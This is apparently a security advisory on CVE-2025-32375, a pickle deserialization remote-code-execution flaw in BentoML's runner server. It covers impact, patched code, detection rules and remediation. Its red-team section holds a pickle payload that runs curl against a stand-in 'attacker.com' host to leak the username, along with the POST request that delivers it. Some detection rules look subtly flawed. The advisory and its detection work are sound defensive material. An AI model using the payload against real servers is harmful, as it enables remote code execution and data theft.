CVE-2025-32375

Executive Summary

CVE-2025-32375 is a critical vulnerability in BentoML, a Python library for building online serving systems optimized for AI applications and model inference. The flaw resides in the runner server component and is caused by insecure deserialization of untrusted data. By crafting a POST request with specific headers and parameters, an unauthenticated attacker can achieve remote code execution (RCE) on the server. This grants initial access and potential information disclosure. The vulnerability has a CVSS score of 9.8 (Critical) and affects all versions prior to 1.4.8. No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

BentoML is distributed via PyPI. Organizations using BentoML in their AI/ML serving pipelines should immediately audit their dependencies. The insecure deserialization flaw could be exploited to inject malicious payloads into the supply chain if an attacker compromises a BentoML runner server. Ensure that only trusted versions (>=1.4.8) are used and that package integrity is verified via checksums or signed distributions.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, making it a top priority for patching.

Deep Dive & Mechanics

The vulnerability exists in BentoML's runner server, which handles model inference requests. The runner server deserializes data from incoming POST requests without proper validation. By manipulating specific HTTP headers and request parameters, an attacker can inject a malicious serialized object (e.g., Python pickle or similar) that, when deserialized, executes arbitrary code on the server.

The root cause is the use of insecure deserialization functions (likely pickle.loads or similar) on data that is directly influenced by the attacker. This is a classic CWE-502 (Deserialization of Untrusted Data) flaw. The attacker does not need any prior authentication or access to the server.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.4.8):

# Hypothetical vulnerable snippet in runner server
import pickle
from flask import request

@app.route('/predict', methods=['POST'])
def predict():
    data = request.get_data()
    obj = pickle.loads(data)  # Insecure deserialization
    result = model.predict(obj)
    return result

Patched Code (1.4.8):

# Patched version using safe deserialization
import json
from flask import request

@app.route('/predict', methods=['POST'])
def predict():
    data = request.get_data()
    try:
        obj = json.loads(data)  # Safe JSON parsing
    except json.JSONDecodeError:
        return "Invalid input", 400
    result = model.predict(obj)
    return result

The patch replaces insecure pickle.loads with safe JSON parsing, preventing arbitrary code execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit code is available, a red team can craft a proof-of-concept using Python's pickle module to generate a malicious payload. The payload is sent as the body of a POST request to the vulnerable runner endpoint.

Example Payload Generation:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/$(whoami)',))

payload = pickle.dumps(Exploit())
print(payload)

Exploit Request:

curl -X POST http://target:3000/predict \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin

Note: This is a simulated exploit. Actual exploitation may require specific header manipulation as described in the advisory.

Blue Team (Defense & Detection)

• Network Monitoring: Detect unusual POST requests to /predict or similar endpoints with Content-Type: application/octet-stream or non-standard content types.
• Endpoint Protection: Deploy WAF rules to block requests containing known pickle serialization patterns (e.g., \x80\x04 or cos\nsystem).
• Runtime Security: Use RASP (Runtime Application Self-Protection) to monitor deserialization calls and block suspicious activity.
• Log Analysis: Monitor for unexpected child processes (e.g., curl, wget, bash) spawned by the BentoML process.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /predict or /runner/predict with Content-Type: application/octet-stream
  • Outbound connections to unknown IPs/domains from the BentoML server
  • Unusual payload sizes (e.g., >10KB for typical inference requests)

• File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ created by the BentoML process
  • Modified or new Python scripts in the BentoML installation directory

• Process IOCs:

  • Child processes like curl, wget, bash, python spawned by the BentoML runner
  • High CPU/memory usage from the runner process

Detection Engineering

YARA Rule

rule CVE_2025_32375_BentoML_Deserialization {
    meta:
        description = "Detects malicious pickle payloads targeting BentoML runner"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32375"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $os_system = "os.system" ascii wide
        $subprocess = "subprocess" ascii wide
        $pickle_loads = "pickle.loads" ascii wide
    condition:
        $pickle_magic and ($os_system or $subprocess) and $pickle_loads
}

Sigma Rule

title: CVE-2025-32375 BentoML Insecure Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with pickle serialization payloads targeting BentoML runner
author: Valters IT
date: 2025/04/01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/predict'
        sc-status: 200
        cs-content-type: 'application/octet-stream'
    condition: selection
falsepositives:
    - Legitimate binary data uploads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-32375 BentoML Insecure Deserialization Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/predict"; http_uri;
    content:"application/octet-stream"; http_content_type;
    pcre:"/\x80\x04\x95/";  # pickle magic bytes
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Patching: Upgrade BentoML to version 1.4.8 or later. This is the only complete fix.
2. Workaround: If immediate patching is not possible, restrict network access to the runner server using firewall rules or network segmentation. Only allow trusted clients to connect.
3. Input Validation: Implement strict input validation and reject any requests with Content-Type: application/octet-stream unless absolutely necessary.
4. Monitoring: Deploy the detection rules above to identify exploitation attempts.
5. Least Privilege: Run the BentoML service with minimal privileges to limit the impact of a successful exploit.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert